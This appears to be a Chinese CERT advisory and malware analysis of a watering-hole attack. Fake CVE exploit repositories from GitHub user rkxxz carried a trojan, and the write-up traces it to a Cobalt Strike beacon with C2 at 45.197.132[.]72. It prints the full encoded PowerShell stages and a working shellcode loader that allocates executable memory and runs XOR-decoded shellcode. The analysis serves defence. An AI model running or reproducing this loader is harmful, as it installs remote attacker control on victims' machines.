警惕!利用Github进行水坑攻击安全风险通告
nanshan 2025-04-08 17:01 29 浏览 0 评论
2022年5月19日,亚信安全CERT监测发现Github账户为rkxxz的用户发布了CVE-2022-26809和CVE-2022-24500 的项目,项目内容介绍为:CVE-2022-26809 RCE Exploit Remote Code Execution和CVE-2022-24500 RCE Exploit SMB Remote Code Execution Vulnerability。经亚信安全CERT专家分析,该用户发布的多个项目内皆包含木马文件,亚信安全CERT提醒大家做好安全防范,不要下载、运行该用户(rkxxz)的任何项目文件!
截至通告发布,亚信安全CERT第一时间对事件进行了跟踪分析,尚未在各大论坛发现该作者推送信息。预测下一波可能会到各大论坛对存储库进行推广,亚信安全将持续关注动态。
同时,由于近期安全事件频发,类似的钓鱼、水坑攻击层出不穷,亚信安全CERT提醒大家,对来历不明的文件一定要进行安全检查,防止误操作给个人和企业造成损失。
事件分析
一、背景介绍
2022年5月19日,亚信安全CERT监测发现Github账户rkxxz创建了CVE-2022-26809的项目,安全专家对项目内容开展分析。
二、分析过程
1.查询目标基本信息
源码为C#
2. 分析混淆状态与加壳
通过dnspy查看默认加壳信息
ConfuserEx 确定默认加壳信息
3. 代码解密
混淆代码中找到Assembly.LoadModule进行断点,将数组保存出来,得到内存解密后的代码。
解密后代码字符串为未被处理de4dot
还原代码
初始还原的powershell代码:
PowerShell
"powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwArADIALwBpAFMAQgBMACsAZQBmAGcAcgB2AEYARwBrAEQAVQBxAEMAdwBSAEIAQwBNAGwAcABwADIAZwBhAEQAQwBXACsARABlAFUAVABSAHkAWQArADIAYQBXAGcALwA0AG0ANQBqAG4ATgBuADUAMwA2ADgATQBoAEYAdABtADcAdgBhAGsATwB5AFQATAA3AHEATABxAHEALwBxAHEAcQA3AHQASwB4AC8AeABlADUAegBHAHgAZQBUADkAMABzAEgAQgB2ADQASgBpAFIATQBCAEMAawBRAHUARwA2AEcAVwBwAGMAKwBFAFAANAA5AG4AdgBoADIAbQBRAE0AKwB4AGIATgA4AHUAVgBWADQAVQB2AEMAUwBPAEEASgBlAHMAWQA0ADkAcgA5AGUATABrAHUAVABKAE8ARABFAHgAeQBVAHQANABEAGcATwBJAHgAMwBIAE8AMgBKAGoAQgBtAHEAQgA2AFcATQBXAG0AVABZAFcAUwBMAEQAQgBOAGgAZQArAEYANwA1ADgAaQBSAEsATABFAGwAdQB3AEsAYgBnAFEAMwBDAFMAdwBEADkASQB2AHIAeQBvADEAUABmAFkAbQBuAFAANwBHAFEAZQBJAEwAaQBOAEwAUQBOAGoAbQBFAE4AOAAwAGkATABIAHcAWABsAE4ARAAzAFMAUgA1AGkAZQBWADgAcABsADgAdAAzAHcAZwBRAHoAYwBJAGMAUABFAGcAawBrAHcAbwAvAC8AaABOAFgASABmAGgAaABuAG8AegBqAGsARQBFAGgATwArAEwAdgBRADIAbQBNADcANABYAGkAQwBUAFcAYwBlAEUAMwA1AEUAcQBmADAATgB4AGgAUgBvAEMAcwA5AEMAUQBnAEsAZwBJAG0AaQBCAFMANABKAFAATQAvAFgAMABPAHgAawAzAEsAZABYADgASwBJAHoANQB6AGQAVQBXAHgAdwBHAG0AVgBhAG4AawBVAEgAcABWAFAAQQBNAHkARABzAFEAQQBkAHcAOQBKAEMAdwBDAEwAagAzAGcAcwBHAEMAVABtAGkAVQBrAFAAdgBHADkATwBNAGgAbwBoAHgANABrAHgAWQAzAGQASAB4ADAANgBxAGsAdwA5ADgAVwByAGoAMABNAGsAZABuADgAWQBsAG8AOABlAHYALwBFADQANABTAFkANQBQAGoANgBSAHAAZQB6AHIALwBDAE8AYQA0AFIAaAB5AEsAeQBJAEgAMQAvAGkAWQB1AGIAOQB2AFkAWQAzAEYAawBaAFoARABFAC8ARQB6AGkATABSADIAWQBNAHQAUQBHACsAegBzAFkASABYADgARABpAGsAUABhAC8AYQBCADYAOQBhAGMANwAvAHkAQwBRAEgAbgA1AHUARQBxADIARwBzAFEAOAAxAFMAUABMAFQAeQBTAHYAeABrAHMAKwA2AFkAZwBVAE0AaAA0AE0AUABXAE8AbQBtAGYAVQBFAG8AWQB0AHMAUABBAFkAUQBlAFAAcwBKADAALwBDAGwAZgBmADQASABEAFkAbwBSADgAUgBpAG0AUABZADcAZwBGAE8ANwA0ADgANABRAHAALwBZAGMAYwBoAEMAbAA1AGMAVQBmAFcAMwBHADAAZQBtAGwAdwBOAG0AQwBMAGQAZwBSAEIAOABlAEYANgB5AGgAbgB5AHkANABOAFQANABjAG4AVgAyAHkARwArAGYAdQBJAGYAdgA0ADQAWgA0AGgAOQAyAHAAYwBtADIATQBVAHgARABtAHoAcwBvAE8AUABwAEoASgBpAFYASQBMAGMAVABNAC8ARAB3AHoAYgBlAGIAcQB4AE4AbQBuAG8AOAA3ADQAWABYAEUAagBxADcAZQBTAGkAZgAxAHIATgBRADcAbABVAHEAeABlAEEAWgB0ADQAdwBEAEgAcwBNAHQAYQBjAEQAdwBoAEUATwBYADEATgBFADUAdwA0AFIAcQAyAEwASwBIADUAWQBUAHQAVAAvAHcAegB1AEUAMAArAE4AUQAxADgAUABrADkAagBHAE4AeQBlADQATwArAEYAOABjAHgAUQBMAGgAVgBjADUANAAvAGoAMQA3AGUAMQA2AFoAOABiAC8AcwBQAFAAcgA1AGcALwBoADkAVQB3ADgAMgBPAEcAWQB2AHoAMAAvADUAeQBpAHkAeQBYAEMAOQBsAHQAOQBMAGcAWABkAHoASgBRADUASgBGADgARgB2AHEAUQBXADAANwAzAFMAMwBwAEsASwBsADgAUABUAGgAbQBaAEcAcQBGAGoAWQBmAG4AWgBmAHUAcABpAFAAMgBiAFkAVwBOADIAbQBvAEQAawBkAFIATAA3AGMAWQBBADIAUwA1AHAAcQBOADAARgA2AEkAMQBKAFcAVwBzAGcAUgArAG0ATgBPADAAUgBOAE8ANQBNAFgANQBNAGcAZwA4ADUAYQBrADQAbgBuAEkARwBXADEARwBMAGIAOAAzADAASgBoAGMATwBlAEUAYwA3AGUAMQBhAHIAYgBNAG8AbwAyAHEAMQBOAHEAeQBXAHQAdwA3AHUANQB2AHAAYgA1AEEAeAA4AGsAdQA1ADcAOABHADAAagBaADkAaQBUAHcAYQA2AHMAMABWAFoAWABtAFYAaAB6AFMAVgAzAE4AYQBVAGUAcwBxAFcAdAAzAEgAagBLADkAWABsAHMANQBaAHYAdQBCAE8AawBnAE8ASABZAGsAbQBwAGoARQBKAHAAeAAzAGIAbAAwAFgAUgA2AEwAdABQAEMANgBQAGkATABBAHoASgBxAHgAdQBCAEgANABoAFAAaQAyAGkAZABFADEAWABaAFAAagBQAFUAaQBlAGsATgBKAHIATQA1AHgASgBjAGkATgBLAHYASQBvAFYASAB6ADMAZgAxAE8ATgBPAHAAVgAyAFkASQA4ADYAQwBaAEMAeQBsAEsAYgA2AEQAUABhAG4AYwA2AG8ASABOAFkAcgBzADIAUQBJAHUATQBRADIAbQAyAGsARgA3AFUAWABBAE4AbgBkAFAAVQA4AFAAMwB1AEwAeABlAFAANABwAFAAYwB6AFYARgB0ADYAMAAwAGIAUwBIAFUANwBJAGgAcgBkADEAVwBXAHQAZQBDAGgAbgB0AEwAdwBuAFMAMwBJAHcAcwAxAHQAMQBYAEMAaQBxADcAagB2AEgAdQBNAHoAUABXAGQAaQBBAEQAYQB2AHUASgA0AEMAMgBMAHMAVQA3AFMARABDAGgAMwAxAFYAcgA0AEoATwB0AEIAMABEADEAagBEAG8AbwBqAEYAQwBkAFcAMABuAGkAbQBKAGoAMQB3ADkAVwBxAHAAVwBpAGUAUwBXAHcAZQBHADgAMAAvADYAagBNAEQAWgBGAHkAWgA1AHIAUgBiAFAAWgBFAEgAOQBMAHAAZABxADMAcQAyAGwAagBSAHMAcgBZAGYANgBZAGEANABVAFYAWQB2ADQAaABZAE4AZQB0AG0AYQB5AFMAdQByADIAZAAxAFkAeQAyADUARgBUADYAVgA5AFoARwBVAHYAVABPAE8AOQBUAGEAZQAvAFQANQA1AGUATgBHAGMANgBNAC8AVABxAHUAegBSAEQAKwAxAEcAbABpADEAVABqAFkANwBYAFEAKwBIAGoAdQBVAEMAcwBZADEANwBWAFcAWgBZAGQAOQB5AHEAeAAyAGEAegBmAFEAYQA2AG0AbQByAEQAZQBXAFYARQBtAFgAaQAwAG0AMAA5AFAAZAAwAG0ATQBtAEQAVwBaAG0AcQBXAG4ATwBiADkASgB2AE0ATQAyAEEALwBWAHUAMgBuAHEAcAAzAEoAUQAwAE4AQgBVAG0ALwBUAGUAdABSAFUASgA3AEkAMgB5AHoATABvADEAZwBhAGIATQBhAHcAbgBtAFQAbQBmADUAUABnAEgAVABKAEEAUABaADAAMABrAHYAWQB6AEwATAA2AGoAWAByAFQAZQA2ADYANgBtADAAcwB0AFUAMgBTAFYAbABMAHEANQBtAEsAcwArAHcANwB6AFgAVABTAHEASAA5AHMASAArAEwAMwBSAEUAeQAwAHMAYgAyAHMAagAyADcATABjADYAVQA5AFUAZABMAGUAVQAvAHYAMgBrAFQASAB4AGYAUgBPAG4AWQBXAE0AMABKAFIAVwB1AE4AQwBvAGYAWgB0AGEAUABzADIARwBVAFEAZgB4ADgAVQBKAE8ATgBCADgAZgBSADAAdwAwAFcAMQArAEgAYwBXAGUALwBvAGMAcQA3AFgAeQA0ADgAZABhADcAQQB4AG8AbgBGAGEAOQBXAGQASgB5AHoAQwB3ADEAOQBiAFUAYwBqAE8AaQB3ADgAWQBIADUAVgA2ADkAVQArADMARwBmAFUAdAB1AFAAaQA2AGoANQByAHcAVwBKAFoAVgBwAHQAbQBwAHUAcABGAEcATAA2AFcANwA2AHUASwBoAHoAdgAvAEcAaAB0AE4AegBoAGIARgBnAGYASQBwAG4ARQBWAFQAeQBMAHoATwBYAEEAYQBlAGwAZABhAHgAagBQAHAAcwBGADIATQBHAHgASwBMACsANQAwAHoARQBSAHoAdAB0AHIAVQAyADUAMQBiAGEANwBoAGYAOQA2AHMAagAyAFkANABVAHgAWQArAGEAVQBrAGMAZABhAHAAcgBJAFIARQBlAHgAMQBjAGoAYgBxAHEAUgBSAGMALwBsAFQAVgBaAFAAbgBkAFUAbQBTAHQANgB1ADQAQgAzAFgAZQA2AE0AMgBKAEEAWABWAHEAYgB1AFUAUQB5AFYAQQB0AGIAUQA4AGgASwBCAE4ARABXAGkAOABqAGQAVQBTAGgARABxAGYASgBPAEMAOQAwAEoARQB1AEcATwBpAFUAWQA2AGgAUQBoAFUASgBMAHoAVwB0AFYAcABHAEoAQgBEAHIAWABhAG0AawBGAFoAYgBUAG0AcwBMADUARwBCAGoAbQBkADYAUwBTAEgAUgBGAHMAVAAvAGQAWgByAEIAWABhAFcAKwBqADUAZQA5ADkAMwB6AHQAZwBvAFMAdQA0AFkANgA2AHQAeABIAFUAUAB0AC8ATAByAGMAYwBnAG8ANQBUAE0ARgBYAEMAcwBYAHYAUgBSAEcAaABmAE0AbABWAE8AcgBoAHcATwBOAHIANABWAGEAbwAzAEYAMABZADMAVgA3ADIAVQBzAEQANABIAEMALwB1AEkAVgAvAC8AUgBmAFUANABtAHYAdwBFACsAUABQAFEAQQBYAG8ALwBEAHgAMwBGAEEAbgBHAEYAbQAxAGMANQBEAE8AbgBiAGIAeQBjAHkAUgBaAGcAdQBDAGwAKwB1AFAAUgBwAGEASgBuADAAKwAzADgAUABWAHIAeQBDAE4ATQBVACsAZwByAHgAVgArAEYARgA3AC8AZgB2ADQAcQA5AGMAMgBZAHIAVQAxADYAaQBDADMASwBiAHMANwA4ADcANABRADgARwAwAGQAUAB2ADYAYQBsAFcASABnADkAOQBzAFkAMwA0AFoAbwBmAGUAdQArAHYAcQBiADIAWQBDADgAcQBYAGUATQBkAGwAKwBaAEwAVwBFAGEAaQBZAFQAMwBxAC8AcwBIAHEAOABaAEgAVgBxAE8AOQBLAHYAWAB2ADkAZABHAHoAOABoAC8ANQBUADIAdgBKAG0ARAB3AGUAZQBBAFYAaQB6ADgARABnADEAYwB5ACsATQA1AFUAWAB0ACsAWgBqAEMAbQBDAFAAZgA0AFgAVwBnAGMAbwBtAEwANQBtAEgASwAvAEMAUwAzAEkALwBLAEcAVAAzAFYAeQBiAFIAVQBGAHIATABhAEMAZgBDAFQAKwBFAGUAOABnAHgAWQBsAFYASgB1AEUAZQB4AGwALwBnAFkAaABvAHIAagBzAFAAeQBuAGsARQBKAFUAQgA4AE0ALwBZAFIAaQAxAE0AZABuAGgAKwAyADUAbwBBAFIARgBNAEcAYwA2AGgARAB5AEMANQBNAHMAagArAEMAUwBHAHIAagAvADEAOQBDAHcAQQBBACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA"
将powershell的base64进行解密,获得真实代码。
PowerShell
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("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"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
得到被混淆的代码,将末尾iex修改为输出,获得解密后的代码。
PowerShell
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNat
iveMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')
).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicMod
ule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFq
C9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2yyMjIyMS3HR0dHR0Sxl1WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qrzl3PZzyq8jIyN4EvFxSyMR46dxcXFwcXNLyHYNGNz2quWg4HNLoxAjI6rDSSdzSTx1S1ZlvaXc9nwS3H
R0SdxwdUsOJTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FYke3PKWNzc3BLcyrIiIyPK6iIjI8tM3NzcDE1PbxUjZsGkA2y+V6dgrLuDpAsuxyvT6DK3J4T0Xd+IxTlyJY+jLbhSYyUXIkeFcXUWma6J2VOZu0K
KA3bvRJENbaPULOvVjwbJsV8SuyN2UEZRDmJERk1XGQNuTFlKT09CDBYNEwMLQExOU0JXSkFPRhgDbnBqZgMaDRMYA3RKTUdMVFADbXcDFQ0SGAN3UUpHRk1XDBYNExgDYWxqZhoYZm12cG5wZgouKSMyMhYt070XA6NzikIDAbZTl0ziQ348PHeLVd968kqx4FcTFBxub/tL
43eqWIg9gaJsyG5oMRFOL6u8T421PexllkfRbokssfK1YK/0XvD8b+kRKUF89EpaimKWBZJD6vBt7fEtgihgcnjjvrZc4PYi6hsxHXxLAewGicbXPMUIDjd5WXrJhVUeuVbuUmtN6pqlvpSG5lFd6jOc9wgYIaaXH4Fvf/MAKwsaL2Ws6Q8Wr9OdftR1vx/rbjIN4aOJwcm9X
Kj/FTJUM9YETDAAFF2eCK0jS9OWgXXc9kljSyMzIyNLIyNjI3RLe4dwxtz2sJojIyMjIvpycKrEdEsjAyMjcHVLMbWqwdz2puNX5agkIuCm41bGe+DLqt7c3BcWDRIaFA0SEBENFBEjIyMBsw==')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntP
tr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
IEX $DoIt
}
判断为CS(CobaltStrike)默认的powershell生成模板,只需要处理base64之后异或0x23即可得到原始shellcode。
原始shellcode
得到C2服务器信息 45.197.132[.]72, 至此样本分析工作结束。
三、溯源分析
1. 分析C2服务器IP关联信息
通过VT查询到域名关联信息为2020年1月5日,目前无法确定真实关联程度。
通过fofa、quke等资产测绘平台均未发现历史扫描信息。无法确定资产历史情况。怀疑可能是新资产,同时,我们针对github上传信息进行溯源确认。
2. 分析Github账户信息
创建者ID:rkxxz的提交记录如下。该用户具备安全防范意识,使用了github默认邮箱。
该用户4月19创建的账户
该用户于5月19日发布了两个项目,都含有木马程序。
3. 分析C2资产信息
45.197.132[.]72的20223为关联端口,8899为上线端口。
4. IOCs
○ 45.197.132[.]72
○ https://github[.]com/rkxxz
相关推荐
- 0722-6.2.0-如何在RedHat7.2使用rpm安装CDH(无CM)
-
文档编写目的在前面的文档中,介绍了在有CM和无CM两种情况下使用rpm方式安装CDH5.10.0,本文档将介绍如何在无CM的情况下使用rpm方式安装CDH6.2.0,与之前安装C5进行对比。环境介绍:...
- ARM64 平台基于 openEuler + iSula 环境部署 Kubernetes
-
为什么要在arm64平台上部署Kubernetes,而且还是鲲鹏920的架构。说来话长。。。此处省略5000字。介绍下系统信息;o架构:鲲鹏920(Kunpeng920)oOS:ope...
- 生产环境starrocks 3.1存算一体集群部署
-
集群规划FE:节点主要负责元数据管理、客户端连接管理、查询计划和查询调度。>3节点。BE:节点负责数据存储和SQL执行。>3节点。CN:无存储功能能的BE。环境准备CPU检查JDK...
- 在CentOS上添加swap虚拟内存并设置优先级
-
现如今很多云服务器都会自己配置好虚拟内存,当然也有很多没有配置虚拟内存的,虚拟内存可以让我们的低配服务器使用更多的内存,可以减少很多硬件成本,比如我们运行很多服务的时候,内存常常会满,当配置了虚拟内存...
- 国产深度(deepin)操作系统优化指南
-
1.升级内核随着deepin版本的更新,会自动升级系统内核,但是我们依旧可以通过命令行手动升级内核,以获取更好的性能和更多的硬件支持。具体操作:-添加PPAs使用以下命令添加PPAs:```...
- postgresql-15.4 多节点主从(读写分离)
-
1、下载软件[root@TX-CN-PostgreSQL01-252software]#wgethttps://ftp.postgresql.org/pub/source/v15.4/postg...
- Docker 容器 Java 服务内存与 GC 优化实施方案
-
一、设置Docker容器内存限制(生产环境建议)1.查看宿主机可用内存bashfree-h#示例输出(假设宿主机剩余16GB可用内存)#Mem:64G...
- 虚拟内存设置、解决linux内存不够问题
-
虚拟内存设置(解决linux内存不够情况)背景介绍 Memory指机器物理内存,读写速度低于CPU一个量级,但是高于磁盘不止一个量级。所以,程序和数据如果在内存的话,会有非常快的读写速度。但是,内存...
- Elasticsearch性能调优(5):服务器配置选择
-
在选择elasticsearch服务器时,要尽可能地选择与当前业务量相匹配的服务器。如果服务器配置太低,则意味着需要更多的节点来满足需求,一个集群的节点太多时会增加集群管理的成本。如果服务器配置太高,...
- Es如何落地
-
一、配置准备节点类型CPU内存硬盘网络机器数操作系统data节点16C64G2000G本地SSD所有es同一可用区3(ecs)Centos7master节点2C8G200G云SSD所有es同一可用区...
- 针对Linux内存管理知识学习总结
-
现在的服务器大部分都是运行在Linux上面的,所以,作为一个程序员有必要简单地了解一下系统是如何运行的。对于内存部分需要知道:地址映射内存管理的方式缺页异常先来看一些基本的知识,在进程看来,内存分为内...
- MySQL进阶之性能优化
-
概述MySQL的性能优化,包括了服务器硬件优化、操作系统的优化、MySQL数据库配置优化、数据库表设计的优化、SQL语句优化等5个方面的优化。在进行优化之前,需要先掌握性能分析的思路和方法,找出问题,...
- Linux Cgroups(Control Groups)原理
-
LinuxCgroups(ControlGroups)是内核提供的资源分配、限制和监控机制,通过层级化进程分组实现资源的精细化控制。以下从核心原理、操作示例和版本演进三方面详细分析:一、核心原理与...
- linux 常用性能优化参数及理解
-
1.优化内核相关参数配置文件/etc/sysctl.conf配置方法直接将参数添加进文件每条一行.sysctl-a可以查看默认配置sysctl-p执行并检测是否有错误例如设置错了参数:[roo...
- 如何在 Linux 中使用 Sysctl 命令?
-
sysctl是一个用于配置和查询Linux内核参数的命令行工具。它通过与/proc/sys虚拟文件系统交互,允许用户在运行时动态修改内核参数。这些参数控制着系统的各种行为,包括网络设置、文件...
你 发表评论:
欢迎- 一周热门
- 最近发表
- 标签列表
-
- linux 查询端口号 (58)
- docker映射容器目录到宿主机 (66)
- 杀端口 (60)
- yum更换阿里源 (62)
- internet explorer 增强的安全配置已启用 (65)
- linux自动挂载 (56)
- 禁用selinux (55)
- sysv-rc-conf (69)
- ubuntu防火墙状态查看 (64)
- windows server 2022激活密钥 (56)
- 无法与服务器建立安全连接是什么意思 (74)
- 443/80端口被占用怎么解决 (56)
- ping无法访问目标主机怎么解决 (58)
- fdatasync (59)
- 405 not allowed (56)
- 免备案虚拟主机zxhost (55)
- linux根据pid查看进程 (60)
- dhcp工具 (62)
- mysql 1045 (57)
- 宝塔远程工具 (56)
- ssh服务器拒绝了密码 请再试一次 (56)
- ubuntu卸载docker (56)
- linux查看nginx状态 (63)
- tomcat 乱码 (76)
- 2008r2激活序列号 (65)